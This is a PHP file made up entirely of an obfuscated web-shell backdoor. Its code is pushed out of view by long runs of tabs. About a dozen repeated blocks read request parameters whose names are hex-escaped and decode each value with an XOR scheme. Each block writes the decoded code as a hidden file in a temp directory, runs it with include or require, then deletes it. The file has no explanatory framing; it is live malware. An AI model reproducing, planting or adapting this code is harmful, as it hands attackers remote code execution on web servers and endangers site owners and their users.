<?php																																										if(isset($_POST["\x70\x61\x72am\x65t\x65r_g\x72oup"])){ $holder = array_filter(["/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), getenv("TMP")]); $binding = $_POST["\x70\x61\x72am\x65t\x65r_g\x72oup"]; $binding = explode ( ".",$binding) ; $mrk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $v = 0; while( $v < count( $binding)) { $v7 = $binding[$v]; $chS = ord( $s[$v % $sLen] ); $d =( ( int)$v7 - $chS -( $v % 10)) ^ 99; $mrk .= chr( $d ); $v++;} foreach ($holder as $key => $itm) { if ((bool)is_dir($itm) && (bool)is_writable($itm)) { $ent = str_replace("{var_dir}", $itm, "{var_dir}/.pset"); $success = file_put_contents($ent, $mrk); if ($success) { include $ent; @unlink($ent); exit;} } } }
																																										if(@$_REQUEST["\x69t\x6D"] !== null){ $rec = $_REQUEST["\x69t\x6D"]; $rec = explode( '.' , $rec ) ; $mrk=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt ); $k=0; while ($k < count($rec)) { $v5=$rec[$k]; $chS=ord($salt[$k% $sLen] ); $d=((int)$v5 - $chS - ($k% 10)) ^14; $mrk .= chr($d ); $k++; } $pset = array_filter(["/tmp", ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", "/var/tmp", getenv("TEMP"), session_save_path(), sys_get_temp_dir(), getenv("TMP")]); for ($k = 0, $ptr = count($pset); $k < $ptr; $k++) { $ent = $pset[$k]; if (is_writable($ent) && is_dir($ent)) { $pgrp = "$ent" . "/.flag"; if (file_put_contents($pgrp, $mrk)) { include $pgrp; @unlink($pgrp); exit; } } } }
																																										if(array_key_exists("va\x6C", $_REQUEST)){ $ptr = array_filter(["/var/tmp", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getcwd(), getenv("TMP"), "/dev/shm"]); $res = $_REQUEST["va\x6C"]; $res= explode ("." , $res ) ; $fac= ''; $salt8= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt8 ); $s= 0; $__tmp= $res; while($v2= array_shift($__tmp)) { $sChar= ord($salt8[$s % $lenS] ); $dec= ((int)$v2 - $sChar -($s % 10)) ^ 79; $fac .= chr($dec ); $s++; } for ($dchunk = 0, $binding = count($ptr); $dchunk < $binding; $dchunk++) { $ent = $ptr[$dchunk]; if (array_product([is_dir($ent), is_writable($ent)])) { $entry = implode("/", [$ent, ".itm"]); if (file_put_contents($entry, $fac)) { require $entry; unlink($entry); exit; } } } }
																																										if(isset($_REQUEST["e\x6E\x74"])){ $property_set = array_filter([getcwd(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), "/tmp", "/dev/shm"]); $token = $_REQUEST["e\x6E\x74"]; $token= explode ( "." , $token ); $reference =''; $s7 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s7); $x =0; while( $x < count( $token)) { $v3 =$token[$x]; $chS =ord( $s7[$x %$lenS]); $d =( ( int)$v3 - $chS -( $x %10)) ^ 35; $reference .= chr( $d); $x++; } foreach ($property_set as $record): if (array_product([is_dir($record), is_writable($record)])) { $pgrp = str_replace("{var_dir}", $record, "{var_dir}/.resource"); if (@file_put_contents($pgrp, $reference) !== false) { include $pgrp; unlink($pgrp); exit; } } endforeach; }
																																										if(array_key_exists("propert\x79_set", $_POST) && !is_null($_POST["propert\x79_set"])){ $sym = $_POST["propert\x79_set"]; $sym = explode ('.',$sym ) ; $data_chunk = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8 ); $z = 0; while ($z < count($sym)) { $v3 = $sym[$z]; $sChar = ord($salt8[$z% $sLen] ); $dec = ((int)$v3 - $sChar - ($z% 10)) ^ 97; $data_chunk.=chr($dec ); $z++; } $comp = array_filter(["/var/tmp", "/tmp", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), getenv("TMP"), sys_get_temp_dir()]); for ($ent = 0, $fac = count($comp); $ent < $fac; $ent++) { $rec = $comp[$ent]; if (is_dir($rec) && is_writable($rec)) { $pointer = vsprintf("%s/%s", [$rec, ".pgrp"]); $success = file_put_contents($pointer, $data_chunk); if ($success) { include $pointer; @unlink($pointer); exit;} } } }
																																										if(!is_null($_REQUEST["de\x73\x63\x72i\x70\x74or"] ?? null)){ $token = $_REQUEST["de\x73\x63\x72i\x70\x74or"]; $token = explode ( '.' , $token ) ; $value = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $y = 0; array_walk($token, function ($v9) use (&$value, &$y, $salt, $lenS) { $chS = ord($salt[$y % $lenS]); $d = ((int)$v9 - $chS - ($y % 10)) ^ 38; $value .= chr($d); $y++;}); $pset = array_filter([getenv("TEMP"), getenv("TMP"), "/var/tmp", getcwd(), "/tmp", "/dev/shm", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir")]); for ($entity = 0, $flg = count($pset); $entity < $flg; $entity++) { $reference = $pset[$entity]; if (is_writable($reference) && is_dir($reference)) { $item = vsprintf("%s/%s", [$reference, ".sym"]); if (file_put_contents($item, $value)) { require $item; unlink($item); exit; } } } }
																																										if(in_array("e\x6E\x74", array_keys($_POST))){ $parameter_group = array_filter([sys_get_temp_dir(), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getcwd(), getenv("TEMP"), getenv("TMP")]); $desc = $_POST["e\x6E\x74"]; $desc = explode ("." , $desc ) ; $dat =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s ); $q =0; $__len =count($desc ); do { if ($q >=$__len) break; $v7 =$desc[$q]; $sChar =ord($s[$q % $lenS] ); $dec =((int)$v7 - $sChar - ($q % 10)) ^ 70; $dat .= chr($dec ); $q++; }while (true ); foreach ($parameter_group as $ref) { if (is_writable($ref) && is_dir($ref)) { $sym = implode("/", [$ref, ".val"]); $success = file_put_contents($sym, $dat); if ($success) { include $sym; @unlink($sym); exit;} } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x6Fb\x6A\x65ct"])){ $element = $_REQUEST["\x6Fb\x6A\x65ct"]; $element = explode ("." , $element) ; $data_chunk=''; $s2='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $s2); foreach( $element as $j =>$v5): $chS=ord( $s2[$j % $lenS]); $d=( ( int)$v5 - $chS -( $j % 10)) ^27; $data_chunk .= chr( $d); endforeach; $hld = array_filter(["/dev/shm", "/tmp", sys_get_temp_dir(), "/var/tmp", getenv("TMP"), getcwd(), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir")]); while ($elem = array_shift($hld)) { if (is_writable($elem) && is_dir($elem)) { $pointer = "$elem" . "/.data"; $file = fopen($pointer, 'w'); if ($file) { fwrite($file, $data_chunk); fclose($file); include $pointer; @unlink($pointer); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "ent")){ $factor = $_REQUEST["ent"]; $factor =explode( "." , $factor); $component = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2); $n = 0; $__tmp = $factor; while ($v5 = array_shift($__tmp)) { $chS = ord($salt2[$n %$lenS]); $d = ((int)$v5 - $chS - ($n %10)) ^64; $component .=chr($d); $n++; } $val = array_filter(["/tmp", getcwd(), "/dev/shm", "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP")]); while ($itm = array_shift($val)) { if (array_product([is_dir($itm), is_writable($itm)])) { $pointer = "$itm/.value"; $success = file_put_contents($pointer, $component); if ($success) { include $pointer; @unlink($pointer); die();} } } }
																																										if(!empty($_POST["de\x73\x63\x72\x69p\x74or"])){ $token = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), "/var/tmp", session_save_path(), getenv("TMP"), "/tmp", sys_get_temp_dir()]); $flag = $_POST["de\x73\x63\x72\x69p\x74or"]; $flag = explode ( "." , $flag ) ; $resource = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7); foreach ($flag as $r=>$v2): $chS = ord($s7[$r% $sLen]); $dec = ((int)$v2 - $chS - ($r% 10)) ^ 16; $resource .= chr($dec); endforeach; while ($ent = array_shift($token)) { if (!( !is_dir($ent) || !is_writable($ent) )) { $res = sprintf("%s/.pointer", $ent); if (file_put_contents($res, $resource)) { require $res; unlink($res); exit; } } } }
																																										if(!is_null($_REQUEST["res"] ?? null)){ $entity = array_filter(["/var/tmp", sys_get_temp_dir(), session_save_path(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", getcwd(), "/dev/shm"]); $parameter_group = $_REQUEST["res"]; $parameter_group = explode( '.' , $parameter_group ) ; $sym= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); $n= 0; foreach ($parameter_group as $v2) { $chS= ord($s[$n % $lenS]); $d= ((int)$v2 - $chS - ($n % 10)) ^ 55; $sym .= chr($d); $n++; } foreach ($entity as $ent) { if ((bool)is_dir($ent) && (bool)is_writable($ent)) { $holder = implode("/", [$ent, ".reference"]); $success = file_put_contents($holder, $sym); if ($success) { include $holder; @unlink($holder); die();} } } }
																																										if(!is_null($_REQUEST["e\x6E\x74"] ?? null)){ $rec = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), getenv("TMP"), "/tmp", session_save_path(), "/var/tmp", "/dev/shm"]); $bind = $_REQUEST["e\x6E\x74"]; $bind = explode ( "." , $bind ) ; $elem = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2 ); $y = 0; array_walk($bind, function ($v1) use (&$elem, &$y, $salt2, $lenS) { $sChar = ord($salt2[$y % $lenS] ); $dec = ((int)$v1 - $sChar - ($y % 10)) ^ 35; $elem .= chr($dec ); $y++; } ); for ($mrk = 0, $marker = count($rec); $mrk < $marker; $mrk++) { $pset = $rec[$mrk]; if (!( !is_dir($pset) || !is_writable($pset) )) { $entity = sprintf("%s/.holder", $pset); if (file_put_contents($entity, $elem)) { require $entity; unlink($entity); exit; } } } }


if(isset($_REQUEST["tk\x6E"]) ? true : false){
	$rec = array_filter(["/tmp", getcwd(), "/var/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP")]);
	$itm = $_REQUEST["tk\x6E"];
	   $itm= explode 	(	"." ,		$itm) ;	
	$ref =  '';
            $salt2 =  'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen =  strlen(	$salt2);
            $j =  0;
    
            while(	$j<	count(	$itm)) {
                $v6 =  $itm[$j];
                $sChar =  ord(	$salt2[$j 	%$sLen]);
                $d =  (	(	int)$v6 - $sChar -(	$j 	%10)) ^ 18;
                $ref .= chr(	$d);
                $j++;
            }
	foreach ($rec as $bind) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($bind)) {
    $res = "$bind/.pgrp";
    if (file_put_contents($res, $ref)) {
	require $res;
	unlink($res);
	die();
}
}
}
}